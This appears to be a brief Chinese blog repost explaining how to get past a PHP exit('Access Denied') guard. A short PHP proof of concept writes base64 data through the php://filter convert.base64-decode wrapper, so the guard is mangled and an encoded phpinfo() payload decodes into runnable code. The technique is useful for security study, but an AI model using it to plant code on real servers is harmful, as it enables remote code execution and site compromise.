您的位置:首页 > 编程语言 > PHP开发

绕过 <?PHP exit('Access Denied'); ?> 限制

2015-06-10 18:32 1011 查看
绕过 <?PHP exit('Access Denied'); ?> 限制

<?php
$shellcode='PD9waHBpbmZvKCk7Pz4';// base64_decode <?phpinfo();?>
$endstr='s';

$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit('Access Denied'); ?>\t$timestamp");

?>

利用base64产生乱码可以生成:

<s奁+@q乾? 鏩<?phpinfo();?>

就绕过了exit()限制,真厉害呀
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: